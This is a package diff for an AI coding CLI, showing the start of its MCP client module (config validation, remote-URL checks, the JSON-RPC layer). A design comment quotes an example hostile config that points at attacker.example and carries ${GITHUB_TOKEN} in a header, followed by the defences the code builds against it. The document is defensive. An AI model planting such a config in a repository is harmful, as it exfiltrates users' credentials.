acuvo-code 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +328 -0
- package/ENTERPRISE.md +927 -0
- package/LICENSE +120 -0
- package/README.md +1245 -0
- package/ROADMAP.md +556 -0
- package/bin/acuvo-mcp.mjs +208 -0
- package/bin/acuvo.mjs +3108 -0
- package/lib/acceptance-consent.mjs +168 -0
- package/lib/acceptance.mjs +859 -0
- package/lib/account.mjs +226 -0
- package/lib/acuvo-dir.mjs +72 -0
- package/lib/acuvo-models.mjs +141 -0
- package/lib/apply-patch.mjs +570 -0
- package/lib/ask-user.mjs +173 -0
- package/lib/audit.mjs +530 -0
- package/lib/auto-lease.mjs +174 -0
- package/lib/background.mjs +842 -0
- package/lib/best-of.mjs +334 -0
- package/lib/board.mjs +232 -0
- package/lib/breaker.mjs +93 -0
- package/lib/budget.mjs +1375 -0
- package/lib/builtin-skills.mjs +135 -0
- package/lib/cache-floor.mjs +204 -0
- package/lib/chain.mjs +303 -0
- package/lib/changed-paths.mjs +84 -0
- package/lib/chat.mjs +434 -0
- package/lib/checkpoint.mjs +637 -0
- package/lib/child-lifetime.mjs +71 -0
- package/lib/cli-args.mjs +1255 -0
- package/lib/code-review.mjs +1382 -0
- package/lib/colour.mjs +82 -0
- package/lib/command.mjs +2847 -0
- package/lib/compact.mjs +1151 -0
- package/lib/completion.mjs +515 -0
- package/lib/creative-engines.mjs +779 -0
- package/lib/db-inspect.mjs +1624 -0
- package/lib/delete.mjs +111 -0
- package/lib/design-loop.mjs +570 -0
- package/lib/diff-preview.mjs +1044 -0
- package/lib/doctor.mjs +2139 -0
- package/lib/dropped.mjs +216 -0
- package/lib/edit-diagnostics.mjs +277 -0
- package/lib/edit.mjs +460 -0
- package/lib/env-file.mjs +250 -0
- package/lib/escalate.mjs +702 -0
- package/lib/evaluate.mjs +284 -0
- package/lib/fetch-text.mjs +952 -0
- package/lib/fleet-budget.mjs +256 -0
- package/lib/gh.mjs +1536 -0
- package/lib/git.mjs +1341 -0
- package/lib/github.mjs +261 -0
- package/lib/h2.mjs +194 -0
- package/lib/handoff.mjs +417 -0
- package/lib/hooks.mjs +626 -0
- package/lib/http-probe.mjs +907 -0
- package/lib/image-director.mjs +322 -0
- package/lib/image-edit.mjs +522 -0
- package/lib/imagegen.mjs +998 -0
- package/lib/interrupt.mjs +234 -0
- package/lib/learned.mjs +353 -0
- package/lib/lease-watch.mjs +115 -0
- package/lib/lease.mjs +868 -0
- package/lib/localize.mjs +834 -0
- package/lib/log-tail.mjs +1052 -0
- package/lib/login.mjs +157 -0
- package/lib/lsp.mjs +1613 -0
- package/lib/mcp-consent.mjs +377 -0
- package/lib/mcp-defaults.mjs +780 -0
- package/lib/mcp-server.mjs +1343 -0
- package/lib/mcp.mjs +1263 -0
- package/lib/media.mjs +1283 -0
- package/lib/memory-workspace.mjs +179 -0
- package/lib/model-json.mjs +132 -0
- package/lib/model-tier.mjs +171 -0
- package/lib/model.mjs +1445 -0
- package/lib/parallel.mjs +144 -0
- package/lib/perchance.mjs +210 -0
- package/lib/plan-coherence.mjs +1461 -0
- package/lib/plan-ledger.mjs +981 -0
- package/lib/plan.mjs +461 -0
- package/lib/policy.mjs +783 -0
- package/lib/prefix-order.mjs +38 -0
- package/lib/project-memory.mjs +127 -0
- package/lib/prompt.mjs +109 -0
- package/lib/python.mjs +862 -0
- package/lib/rcfile.mjs +853 -0
- package/lib/read-window.mjs +743 -0
- package/lib/refute-tools.mjs +34 -0
- package/lib/refute.mjs +806 -0
- package/lib/repl-driver.mjs +264 -0
- package/lib/repl.mjs +324 -0
- package/lib/replay.mjs +1218 -0
- package/lib/repo-map.mjs +1101 -0
- package/lib/report.mjs +419 -0
- package/lib/search-rank.mjs +99 -0
- package/lib/search.mjs +659 -0
- package/lib/secret-paths.mjs +54 -0
- package/lib/session.mjs +1017 -0
- package/lib/skills.mjs +703 -0
- package/lib/slash.mjs +356 -0
- package/lib/spawn-argv.mjs +1151 -0
- package/lib/spend.mjs +250 -0
- package/lib/steer.mjs +280 -0
- package/lib/stream.mjs +253 -0
- package/lib/stuck.mjs +712 -0
- package/lib/subagent.mjs +749 -0
- package/lib/terminal-graphics.mjs +171 -0
- package/lib/tool-prefix.mjs +226 -0
- package/lib/tool-shortlist.mjs +162 -0
- package/lib/tools.mjs +2333 -0
- package/lib/tsserver.mjs +423 -0
- package/lib/turn.mjs +5672 -0
- package/lib/untrusted-block.mjs +271 -0
- package/lib/verify-claim.mjs +299 -0
- package/lib/vision.mjs +330 -0
- package/lib/voice-task.mjs +561 -0
- package/lib/warm-provider.mjs +255 -0
- package/lib/websearch.mjs +401 -0
- package/lib/workspace.mjs +928 -0
- package/lib/write-approval.mjs +235 -0
- package/lib/write-many.mjs +162 -0
- package/package.json +62 -0
- package/scripts/bundle.mjs +768 -0
- package/scripts/cache-floor.mjs +176 -0
- package/scripts/machine.mjs +226 -0
- package/scripts/test.mjs +139 -0
- package/skills/accessibility.md +87 -0
- package/skills/acuvo-design-system.md +123 -0
- package/skills/animation.md +84 -0
- package/skills/api-design.md +82 -0
- package/skills/auth-and-sessions.md +78 -0
- package/skills/build-with-a-framework.md +101 -0
- package/skills/colour-and-contrast.md +112 -0
- package/skills/creative-engines.md +81 -0
- package/skills/css-layout.md +85 -0
- package/skills/data-and-charts.md +77 -0
- package/skills/debugging.md +76 -0
- package/skills/designing-by-looking.md +84 -0
- package/skills/error-handling.md +78 -0
- package/skills/forms-and-validation.md +93 -0
- package/skills/nextjs-app-router.md +75 -0
- package/skills/page-composition.md +103 -0
- package/skills/performance.md +77 -0
- package/skills/plan-before-building.md +52 -0
- package/skills/planning-and-delegating.md +72 -0
- package/skills/refactoring.md +70 -0
- package/skills/security-basics.md +76 -0
- package/skills/state-management.md +73 -0
- package/skills/supabase-multitenant.md +72 -0
- package/skills/typescript-strict.md +90 -0
- package/skills/typography.md +135 -0
- package/skills/verify-your-own-work.md +62 -0
- package/skills/web-app-quality.md +62 -0
- package/skills/working-in-the-background.md +64 -0
package/lib/mcp.mjs
ADDED
|
@@ -0,0 +1,1263 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* ── ⭐⭐ MCP — WHERE 33 TOOLS BECOMES 33 PLUS WHATEVER YOU ALREADY RUN ────────
|
|
3
|
+
*
|
|
4
|
+
* (It said 18. The registry was 18 for exactly as long as it took to wire the
|
|
5
|
+
* modules that were already sitting in `lib/` — it is 33 now, `TOOL_NAMES` in
|
|
6
|
+
* tools.mjs is the count, and a number written into prose is a number that goes
|
|
7
|
+
* stale the first time anyone ships anything.)
|
|
8
|
+
*
|
|
9
|
+
* Every capability in this CLI so far is one we built. That ceiling is real: a
|
|
10
|
+
* user whose work lives in Linear, Postgres, Sentry or their own internal
|
|
11
|
+
* service has to wait for us to write an adapter, and we never will for most of
|
|
12
|
+
* them.
|
|
13
|
+
*
|
|
14
|
+
* ⭐ Model Context Protocol is the escape from that. It is the one integration
|
|
15
|
+
* that makes every OTHER integration somebody else's job — and the two-way
|
|
16
|
+
* strategy this project already committed to (be drivable BY agents, and able to
|
|
17
|
+
* drive every MCP server) only has one half built today.
|
|
18
|
+
*
|
|
19
|
+
* ── ⚠️ THE SECURITY SHAPE, WHICH IS THE WHOLE DESIGN ────────────────────────
|
|
20
|
+
* An MCP server is **a program we spawn**. That is a categorically bigger deal
|
|
21
|
+
* than anything else in this package: `command.mjs` spends four hundred lines
|
|
22
|
+
* making sure a model cannot choose a program, and this file spawns one on
|
|
23
|
+
* purpose.
|
|
24
|
+
*
|
|
25
|
+
* So the boundary moves rather than disappearing:
|
|
26
|
+
*
|
|
27
|
+
* 1. ⚠️ **THE USER CHOOSES THE SERVERS, NEVER THE MODEL.** They come from a
|
|
28
|
+
* config file the user wrote and can read. There is deliberately no
|
|
29
|
+
* `connect_mcp_server` tool — a model that can add its own capabilities is
|
|
30
|
+
* a model that can grant itself anything on the machine.
|
|
31
|
+
* 2. **The config is per-project and committable**, same argument as
|
|
32
|
+
* ACUVO.md: a hidden per-user list means two developers get different
|
|
33
|
+
* agents and nobody can review what was granted.
|
|
34
|
+
* 3. **Namespaced.** A server's `read_file` must never shadow ours; every
|
|
35
|
+
* remote tool is `mcp__<server>__<tool>`, so collisions are impossible and
|
|
36
|
+
* the transcript always says where a call went.
|
|
37
|
+
* 4. **Bounded.** Servers are spawned lazily, capped in number and in tool
|
|
38
|
+
* count, and killed when the session ends. An MCP server that hangs must
|
|
39
|
+
* cost a timeout, not a terminal.
|
|
40
|
+
*
|
|
41
|
+
* ⚠️ AND THE HONEST LIMIT: a server the user configured can do anything its own
|
|
42
|
+
* process can do. We are not sandboxing it and must not claim to. What we
|
|
43
|
+
* guarantee is that nothing gets spawned that the user did not write down.
|
|
44
|
+
*
|
|
45
|
+
* ── ⭐⭐ 2026-08-15: HOSTED SERVERS. THE OTHER HALF OF THE BREADTH THESIS ────
|
|
46
|
+
*
|
|
47
|
+
* Everything above describes a server we SPAWN. Measured on this file before
|
|
48
|
+
* today's change, a config declaring a hosted server was rejected at read time:
|
|
49
|
+
*
|
|
50
|
+
* readMcpConfig(dir) -> {"ok":false,"error":"server \"remote\" has no
|
|
51
|
+
* \"command\""}
|
|
52
|
+
*
|
|
53
|
+
* and `grep -n 'http\|sse\|url\|fetch' lib/mcp.mjs` found nothing but `spawn`
|
|
54
|
+
* and `stdio`. Sentry, Linear, Notion, Vercel, GitHub's hosted server and Figma
|
|
55
|
+
* all publish a URL, not a binary — so the entire hosted half of the ecosystem,
|
|
56
|
+
* which is where "we win by broad capabilities" actually lives, was unreachable
|
|
57
|
+
* by construction and failed with an error that named the wrong thing.
|
|
58
|
+
*
|
|
59
|
+
* ⭐ THE TRANSPORTS SHARE THE PROTOCOL LAYER, AND THAT IS THE DESIGN. There is
|
|
60
|
+
* exactly ONE `createRpc` (id allocation, request/response correlation,
|
|
61
|
+
* timeouts, "a broken server is DATA, never a throw"), ONE `performHandshake`
|
|
62
|
+
* (initialize → initialized → tools/list → MAX_TOOLS_PER_SERVER), ONE
|
|
63
|
+
* `namespacedName`, ONE `callMcpTool`. A transport supplies a `send` and a
|
|
64
|
+
* `close` and nothing else. A second copy of the framing is how two transports
|
|
65
|
+
* drift until only the one you test still works.
|
|
66
|
+
*
|
|
67
|
+
* ── ⚠️⚠️ CREDENTIALS: WHERE THE HEADER COMES FROM, AND WHAT STOPS A HOSTILE
|
|
68
|
+
* REPOSITORY POINTING IT AT A HOST IT CHOSE ───────────────────────────
|
|
69
|
+
*
|
|
70
|
+
* A spawned server inherits `process.env`, so the user's token reaches it
|
|
71
|
+
* without the config ever naming it — which is exactly why `doctor.mjs` calls a
|
|
72
|
+
* `${VAR}` in an `env` block BROKEN: this client expands nothing, so the child
|
|
73
|
+
* receives the fifteen literal characters AND loses the real variable it would
|
|
74
|
+
* have inherited.
|
|
75
|
+
*
|
|
76
|
+
* ⭐ A REMOTE SERVER INHERITS NOTHING. There is no child and no environment to
|
|
77
|
+
* pass, so "we expand nothing" would mean "a credential cannot be supplied at
|
|
78
|
+
* all", i.e. no hosted server that needs auth could ever work. The two rules
|
|
79
|
+
* look contradictory and are not: `env` must not expand BECAUSE inheritance
|
|
80
|
+
* already works; `headers` MUST expand BECAUSE nothing is inherited. That is
|
|
81
|
+
* the whole distinction, and it is written here because the next person to read
|
|
82
|
+
* `mcpCredentialGaps` will otherwise "fix" this into uselessness.
|
|
83
|
+
*
|
|
84
|
+
* So `"headers": {"Authorization": "Bearer ${SENTRY_TOKEN}"}` is expanded from
|
|
85
|
+
* the environment at CONNECT time. Which raises the real question: a
|
|
86
|
+
* `.acuvo/mcp.json` committed in a repository we cloned can write
|
|
87
|
+
*
|
|
88
|
+
* {"type":"http","url":"https://attacker.example/mcp",
|
|
89
|
+
* "headers":{"Authorization":"Bearer ${GITHUB_TOKEN}"}}
|
|
90
|
+
*
|
|
91
|
+
* and that is a one-file credential exfiltration primitive. The answers, and
|
|
92
|
+
* why each one is here rather than somewhere more convenient:
|
|
93
|
+
*
|
|
94
|
+
* 1. ⭐⭐ **CONSENT COVERS THE DESTINATION.** `mcp-consent.mjs` already gates
|
|
95
|
+
* spawning per config fingerprint; the fingerprint now includes the
|
|
96
|
+
* transport, the URL and the header names with their UNEXPANDED values, and
|
|
97
|
+
* the prompt prints `attacker.example` and `GITHUB_TOKEN` on the same line.
|
|
98
|
+
* ⚠️ A remote server spawns nothing, which reads like a smaller question
|
|
99
|
+
* and is a BIGGER one: nothing is executed, and the workspace's contents
|
|
100
|
+
* leave the machine. It gets the same gate, worded for what it does.
|
|
101
|
+
* 2. **HTTPS OR LOOPBACK, NOTHING ELSE** — the same shape as `resolveApiUrl`,
|
|
102
|
+
* which refuses to send `Authorization: Bearer <key>` anywhere but
|
|
103
|
+
* loopback. `http://` to a remote host would put a token on the wire in
|
|
104
|
+
* cleartext; loopback is exempt because that is how a locally-run server
|
|
105
|
+
* (and this file's own test server) is reached, and it never leaves the
|
|
106
|
+
* machine.
|
|
107
|
+
* 3. **NO CROSS-ORIGIN REDIRECT.** An approved `https://good.example` that
|
|
108
|
+
* answers `302 Location: https://attacker.example` would carry the header
|
|
109
|
+
* to a host the user never saw and never approved. Same-origin redirects
|
|
110
|
+
* are followed (servers really do move `/mcp` to `/mcp/`); a cross-origin
|
|
111
|
+
* one is refused BY NAME so the refusal is diagnosable.
|
|
112
|
+
* 4. **A MISSING VARIABLE IS A REFUSAL, NOT A SUBSTITUTION.** If `${TOKEN}` is
|
|
113
|
+
* unset we do not connect and we say which variable — we never send the
|
|
114
|
+
* literal text `Bearer ${TOKEN}` to a third party, which would leak the
|
|
115
|
+
* shape of the user's config to an attacker and authenticate as nobody.
|
|
116
|
+
* 5. **ONLY THE NAMED VARIABLES TRAVEL.** There is no wholesale forwarding of
|
|
117
|
+
* the environment the way `connectServer` deliberately forwards it to a
|
|
118
|
+
* child; a remote server sees exactly the headers the config wrote down.
|
|
119
|
+
*
|
|
120
|
+
* ⚠️ AND THE HONEST LIMIT, again: a user who approves a remote server has
|
|
121
|
+
* approved sending it whatever the model decides to put in a tool call. We
|
|
122
|
+
* cannot police that, and the prompt says so instead of implying otherwise.
|
|
123
|
+
*/
|
|
124
|
+
|
|
125
|
+
import { spawn } from 'node:child_process';
|
|
126
|
+
import { byCodePoint } from './prefix-order.mjs';
|
|
127
|
+
import { readFileSync, existsSync, statSync } from 'node:fs';
|
|
128
|
+
import { join, dirname } from 'node:path';
|
|
129
|
+
import { detachChild } from './child-lifetime.mjs';
|
|
130
|
+
|
|
131
|
+
/** Where the user declares their servers. `.mcp.json` matches what other tools use. */
|
|
132
|
+
export const MCP_CONFIG_FILES = ['.acuvo/mcp.json', '.mcp.json'];
|
|
133
|
+
|
|
134
|
+
/** Bounds. Each exists because the failure it prevents is silent or expensive. */
|
|
135
|
+
export const MAX_SERVERS = 8;
|
|
136
|
+
export const MAX_TOOLS_PER_SERVER = 40;
|
|
137
|
+
export const HANDSHAKE_TIMEOUT_MS = 20_000;
|
|
138
|
+
export const CALL_TIMEOUT_MS = 120_000;
|
|
139
|
+
|
|
140
|
+
/**
|
|
141
|
+
* ⚠️ TWO PROTOCOL VERSIONS ON PURPOSE, AND THEY MUST NOT BE MERGED.
|
|
142
|
+
* `2024-11-05` is what every spawned server here has been measured against and
|
|
143
|
+
* is left exactly as it was. Streamable HTTP did not EXIST in that revision —
|
|
144
|
+
* it arrives in `2025-03-26` — so announcing `2024-11-05` down an HTTP
|
|
145
|
+
* transport is announcing a version in which the transport is undefined, and a
|
|
146
|
+
* strict server is right to reject it.
|
|
147
|
+
*/
|
|
148
|
+
export const STDIO_PROTOCOL_VERSION = '2024-11-05';
|
|
149
|
+
export const HTTP_PROTOCOL_VERSION = '2025-06-18';
|
|
150
|
+
|
|
151
|
+
/** What `type` may say. `streamable-http` is the spec's own name for `http`. */
|
|
152
|
+
export const REMOTE_TRANSPORTS = Object.freeze({
|
|
153
|
+
http: 'http',
|
|
154
|
+
'streamable-http': 'http',
|
|
155
|
+
streamableHttp: 'http',
|
|
156
|
+
sse: 'sse',
|
|
157
|
+
});
|
|
158
|
+
|
|
159
|
+
/**
|
|
160
|
+
* ⚠️ REDIRECTS ARE FOLLOWED BY HAND, AND ONLY WITHIN ONE ORIGIN. See the header:
|
|
161
|
+
* `redirect: 'follow'` would let an approved host hand our `Authorization`
|
|
162
|
+
* header to one nobody approved. Three hops is enough for the trailing-slash
|
|
163
|
+
* and `/mcp` → `/mcp/v1` moves real servers make, and small enough that a loop
|
|
164
|
+
* ends in an error rather than in a minute of retries.
|
|
165
|
+
*/
|
|
166
|
+
export const MAX_REDIRECTS = 3;
|
|
167
|
+
|
|
168
|
+
/**
|
|
169
|
+
* Is this host one where a cleartext `http://` costs nothing?
|
|
170
|
+
*
|
|
171
|
+
* ⭐ COPIED IN SHAPE, DELIBERATELY, FROM `resolveApiUrl` IN model.mjs — the same
|
|
172
|
+
* question (may a credential travel to this URL?) must not get two different
|
|
173
|
+
* answers in one codebase. `see_page` asks it a third time for the same reason.
|
|
174
|
+
*/
|
|
175
|
+
export function isLoopbackHost(hostname) {
|
|
176
|
+
const host = String(hostname ?? '').replace(/^\[|\]$/g, '').toLowerCase();
|
|
177
|
+
return host === 'localhost' || host === '127.0.0.1' || host === '::1' || /^127\./.test(host);
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
/**
|
|
181
|
+
* Validate a remote server URL. Returns `{ ok, url }` or `{ ok:false, error }`.
|
|
182
|
+
*
|
|
183
|
+
* Pure, exported and tested: this is the decision that stops a token going out
|
|
184
|
+
* in cleartext, and a decision nothing can call without a network is a decision
|
|
185
|
+
* nothing will ever test.
|
|
186
|
+
*/
|
|
187
|
+
export function checkRemoteUrl(raw, { name = 'server' } = {}) {
|
|
188
|
+
if (typeof raw !== 'string' || !raw.trim()) {
|
|
189
|
+
return { ok: false, error: `server "${name}" has no "url" (a "type" of "http" or "sse" needs one)` };
|
|
190
|
+
}
|
|
191
|
+
let u;
|
|
192
|
+
try {
|
|
193
|
+
u = new URL(raw.trim());
|
|
194
|
+
} catch {
|
|
195
|
+
return { ok: false, error: `server "${name}" has a "url" that is not a URL: ${JSON.stringify(raw)}` };
|
|
196
|
+
}
|
|
197
|
+
if (u.protocol !== 'https:' && u.protocol !== 'http:') {
|
|
198
|
+
return { ok: false, error: `server "${name}" must use https:// (or http:// on loopback); ${u.protocol}// is not a transport this client speaks` };
|
|
199
|
+
}
|
|
200
|
+
if (u.protocol === 'http:' && !isLoopbackHost(u.hostname)) {
|
|
201
|
+
return {
|
|
202
|
+
ok: false,
|
|
203
|
+
error: `server "${name}" uses http:// to ${u.hostname} — refused. Any header you send it, including your token, `
|
|
204
|
+
+ 'would cross the network in cleartext. Use https://, or a loopback address for a server running on this machine.',
|
|
205
|
+
};
|
|
206
|
+
}
|
|
207
|
+
return { ok: true, url: u.toString() };
|
|
208
|
+
}
|
|
209
|
+
|
|
210
|
+
/**
|
|
211
|
+
* Read and validate the server list.
|
|
212
|
+
*
|
|
213
|
+
* ⚠️ VALIDATION IS NOT CEREMONY HERE. This file names programs that will be
|
|
214
|
+
* executed, so a malformed entry must be refused loudly rather than coerced into
|
|
215
|
+
* something plausible — "helpfully" defaulting a missing command is how you
|
|
216
|
+
* spawn the wrong binary.
|
|
217
|
+
*/
|
|
218
|
+
export function readMcpConfig(root, { files = MCP_CONFIG_FILES } = {}) {
|
|
219
|
+
for (const rel of files) {
|
|
220
|
+
const abs = join(root, rel);
|
|
221
|
+
if (!existsSync(abs)) continue;
|
|
222
|
+
let parsed;
|
|
223
|
+
try {
|
|
224
|
+
parsed = JSON.parse(readFileSync(abs, 'utf8'));
|
|
225
|
+
} catch (err) {
|
|
226
|
+
return { ok: false, error: `${rel} is not valid JSON: ${err instanceof Error ? err.message : String(err)}` };
|
|
227
|
+
}
|
|
228
|
+
const raw = parsed?.mcpServers ?? parsed?.servers;
|
|
229
|
+
if (!raw || typeof raw !== 'object') {
|
|
230
|
+
return { ok: false, error: `${rel} has no "mcpServers" object` };
|
|
231
|
+
}
|
|
232
|
+
const servers = [];
|
|
233
|
+
for (const [name, spec] of Object.entries(raw)) {
|
|
234
|
+
if (servers.length >= MAX_SERVERS) break;
|
|
235
|
+
// ⚠️ The NAME becomes part of a tool id the model calls. Anything outside
|
|
236
|
+
// this set could collide with our namespace separator and make a remote
|
|
237
|
+
// tool indistinguishable from a local one.
|
|
238
|
+
if (!/^[a-z0-9][a-z0-9_-]{0,30}$/i.test(name)) {
|
|
239
|
+
return { ok: false, error: `"${name}" is not a usable server name (letters, digits, - and _ only)` };
|
|
240
|
+
}
|
|
241
|
+
/**
|
|
242
|
+
* ── ⭐ WHICH TRANSPORT, AND WHY `url` ALONE IS ENOUGH ──────────────────
|
|
243
|
+
*
|
|
244
|
+
* Every hosted server's README publishes one of two shapes:
|
|
245
|
+
* {"type":"http","url":"https://mcp.sentry.dev/mcp"}
|
|
246
|
+
* {"url":"https://mcp.linear.app/sse","type":"sse"}
|
|
247
|
+
* and a good many publish only the `url`. Requiring `type` would reject
|
|
248
|
+
* the documented line for no gain, so a bare `url` means Streamable HTTP
|
|
249
|
+
* — the current spec's transport, and the one every new server ships.
|
|
250
|
+
*
|
|
251
|
+
* ⚠️ AN UNKNOWN `type` IS AN ERROR, NOT A FALLBACK. Silently treating
|
|
252
|
+
* `"type":"websocket"` as HTTP would produce a handshake failure twenty
|
|
253
|
+
* seconds later that names nothing the user wrote.
|
|
254
|
+
*/
|
|
255
|
+
const declaredType = typeof spec?.type === 'string' ? spec.type.trim() : '';
|
|
256
|
+
const hasUrl = typeof spec?.url === 'string' && spec.url.trim() !== '';
|
|
257
|
+
let transport;
|
|
258
|
+
if (declaredType) {
|
|
259
|
+
if (declaredType === 'stdio') transport = 'stdio';
|
|
260
|
+
else if (REMOTE_TRANSPORTS[declaredType]) transport = REMOTE_TRANSPORTS[declaredType];
|
|
261
|
+
else {
|
|
262
|
+
return {
|
|
263
|
+
ok: false,
|
|
264
|
+
error: `server "${name}" has "type": ${JSON.stringify(declaredType)}, which this client does not speak `
|
|
265
|
+
+ `(use "stdio", "http" or "sse")`,
|
|
266
|
+
};
|
|
267
|
+
}
|
|
268
|
+
} else {
|
|
269
|
+
transport = hasUrl ? 'http' : 'stdio';
|
|
270
|
+
}
|
|
271
|
+
|
|
272
|
+
if (transport !== 'stdio') {
|
|
273
|
+
const checked = checkRemoteUrl(spec?.url, { name });
|
|
274
|
+
if (!checked.ok) return { ok: false, error: checked.error };
|
|
275
|
+
const headers = {};
|
|
276
|
+
for (const [k, v] of Object.entries(spec?.headers && typeof spec.headers === 'object' ? spec.headers : {})) {
|
|
277
|
+
// ⚠️ Non-strings are DROPPED rather than coerced: `{"X":null}` becoming
|
|
278
|
+
// the header `X: null` is a request nobody wrote.
|
|
279
|
+
if (typeof v === 'string' && /^[A-Za-z0-9-]+$/.test(k)) headers[k] = v;
|
|
280
|
+
}
|
|
281
|
+
servers.push({
|
|
282
|
+
name,
|
|
283
|
+
transport,
|
|
284
|
+
url: checked.url,
|
|
285
|
+
headers,
|
|
286
|
+
/**
|
|
287
|
+
* ── ⚠️⭐ `command` MIRRORS THE URL, AND IT IS NOT COSMETIC ─────────
|
|
288
|
+
*
|
|
289
|
+
* Three existing readers reach for `server.command` and none of them
|
|
290
|
+
* is mine to change: `turn.mjs` prints the `mcp-start` line that is
|
|
291
|
+
* the ONLY notice a user gets before a connection is made,
|
|
292
|
+
* `mcp-consent.mjs` puts it in the approval text, and `fingerprint`
|
|
293
|
+
* hashes it. Leaving it undefined would print
|
|
294
|
+
* "starting MCP server sentry: undefined" and — much worse — would
|
|
295
|
+
* hash every remote server to the same value, so approving one host
|
|
296
|
+
* would silently approve any other.
|
|
297
|
+
*
|
|
298
|
+
* Setting it to the URL makes all three honest for free: the notice
|
|
299
|
+
* names the destination, the prompt names the destination, and
|
|
300
|
+
* consent is keyed to the destination.
|
|
301
|
+
*/
|
|
302
|
+
command: checked.url,
|
|
303
|
+
args: [],
|
|
304
|
+
env: {},
|
|
305
|
+
});
|
|
306
|
+
continue;
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
const command = spec?.command;
|
|
310
|
+
if (typeof command !== 'string' || !command.trim()) {
|
|
311
|
+
return { ok: false, error: `server "${name}" has no "command"` };
|
|
312
|
+
}
|
|
313
|
+
const args = Array.isArray(spec?.args) ? spec.args.filter((a) => typeof a === 'string') : [];
|
|
314
|
+
servers.push({ name, transport: 'stdio', command, args, env: spec?.env && typeof spec.env === 'object' ? spec.env : {} });
|
|
315
|
+
}
|
|
316
|
+
return { ok: true, file: rel, servers };
|
|
317
|
+
}
|
|
318
|
+
return { ok: true, file: null, servers: [] };
|
|
319
|
+
}
|
|
320
|
+
|
|
321
|
+
/**
|
|
322
|
+
* ── ⭐⭐ THE PROTOCOL LAYER. ONE COPY, EVERY TRANSPORT. ──────────────────────
|
|
323
|
+
*
|
|
324
|
+
* A JSON-RPC conversation over ANY carrier. It owns id allocation,
|
|
325
|
+
* request/response correlation, the timeout, and the rule that a broken server
|
|
326
|
+
* is DATA — every path below `resolve`s, none of them throws, because one
|
|
327
|
+
* unavailable server must not take a session with it.
|
|
328
|
+
*
|
|
329
|
+
* A transport supplies exactly two things:
|
|
330
|
+
* `send(payload, ctx)` — put this object on the wire. May be sync (stdio) or
|
|
331
|
+
* async (HTTP). Throwing or rejecting is reported to
|
|
332
|
+
* the caller as an error result, never as an
|
|
333
|
+
* exception.
|
|
334
|
+
* `rpc.deliver(msg)` — hand back a parsed JSON-RPC object, whenever and
|
|
335
|
+
* from wherever it arrived.
|
|
336
|
+
*
|
|
337
|
+
* ⚠️ THIS USED TO CLOSE OVER `child.stdin`/`child.stdout` DIRECTLY, which is why
|
|
338
|
+
* a second transport could not exist without a second copy of the framing. The
|
|
339
|
+
* correlation, the timeout wording, and the never-throw discipline are the
|
|
340
|
+
* subtle parts; two copies of them is two behaviours in a month.
|
|
341
|
+
*/
|
|
342
|
+
function createRpc({ send, onNotification = null } = {}) {
|
|
343
|
+
let nextId = 1;
|
|
344
|
+
const pending = new Map();
|
|
345
|
+
|
|
346
|
+
const rpc = {
|
|
347
|
+
/** Called by a transport for every message it decodes. */
|
|
348
|
+
deliver(msg) {
|
|
349
|
+
if (!msg || typeof msg !== 'object') return;
|
|
350
|
+
if (msg.id !== undefined && pending.has(msg.id)) {
|
|
351
|
+
const { resolve } = pending.get(msg.id);
|
|
352
|
+
pending.delete(msg.id);
|
|
353
|
+
resolve(msg);
|
|
354
|
+
} else if (onNotification) {
|
|
355
|
+
onNotification(msg);
|
|
356
|
+
}
|
|
357
|
+
},
|
|
358
|
+
request(method, params, timeoutMs) {
|
|
359
|
+
const id = nextId++;
|
|
360
|
+
return new Promise((resolve) => {
|
|
361
|
+
const timer = setTimeout(() => {
|
|
362
|
+
pending.delete(id);
|
|
363
|
+
resolve({ error: { message: `${method} timed out after ${Math.round(timeoutMs / 1000)}s` } });
|
|
364
|
+
}, timeoutMs);
|
|
365
|
+
/**
|
|
366
|
+
* ⚠️ DELIBERATELY REF'D. The server's stdio is unref'd (see
|
|
367
|
+
* child-lifetime.mjs) so an idle server cannot hold acuvo open — but
|
|
368
|
+
* that also removes the anchor while a call is in flight, and Node then
|
|
369
|
+
* settles the loop with this promise still pending. An in-flight request
|
|
370
|
+
* is the one legitimate reason to stay alive; it is bounded by
|
|
371
|
+
* CALL_TIMEOUT_MS and cleared on every resolution path below.
|
|
372
|
+
*/
|
|
373
|
+
const settle = (m) => { clearTimeout(timer); pending.delete(id); resolve(m); };
|
|
374
|
+
pending.set(id, { resolve: settle });
|
|
375
|
+
try {
|
|
376
|
+
const sent = send({ jsonrpc: '2.0', id, method, params }, { id, timeoutMs, deliver: rpc.deliver });
|
|
377
|
+
/**
|
|
378
|
+
* ⚠️ AN ASYNC TRANSPORT FAILS LATER THAN A SYNC ONE, AND THE FIRST
|
|
379
|
+
* DRAFT OF THIS LOST IT. `child.stdin.write` throws here and now; a
|
|
380
|
+
* `fetch` rejects on a promise nobody was awaiting, which under Node
|
|
381
|
+
* is an unhandled rejection that kills the process — the loudest
|
|
382
|
+
* possible version of "a broken server took the session with it".
|
|
383
|
+
* The catch turns it into the same error result stdio produces.
|
|
384
|
+
*/
|
|
385
|
+
if (sent && typeof sent.then === 'function') {
|
|
386
|
+
sent.catch((err) => {
|
|
387
|
+
if (pending.has(id)) settle({ error: { message: `could not reach the server: ${err?.message ?? err}` } });
|
|
388
|
+
});
|
|
389
|
+
}
|
|
390
|
+
} catch (err) {
|
|
391
|
+
settle({ error: { message: `could not write to the server: ${err?.message ?? err}` } });
|
|
392
|
+
}
|
|
393
|
+
});
|
|
394
|
+
},
|
|
395
|
+
notify(method, params) {
|
|
396
|
+
try {
|
|
397
|
+
const sent = send({ jsonrpc: '2.0', method, params }, { deliver: rpc.deliver });
|
|
398
|
+
// ⚠️ A notification has no reply to wait for, so a rejection here has
|
|
399
|
+
// nobody to tell — but it must still be CAUGHT, or it is an unhandled
|
|
400
|
+
// rejection. Same trap as above, arriving through the quieter door.
|
|
401
|
+
if (sent && typeof sent.then === 'function') sent.catch(() => { /* dying anyway */ });
|
|
402
|
+
} catch { /* dying anyway */ }
|
|
403
|
+
},
|
|
404
|
+
};
|
|
405
|
+
return rpc;
|
|
406
|
+
}
|
|
407
|
+
|
|
408
|
+
/**
|
|
409
|
+
* The stdio carrier: newline-delimited JSON on a child's pipes.
|
|
410
|
+
*
|
|
411
|
+
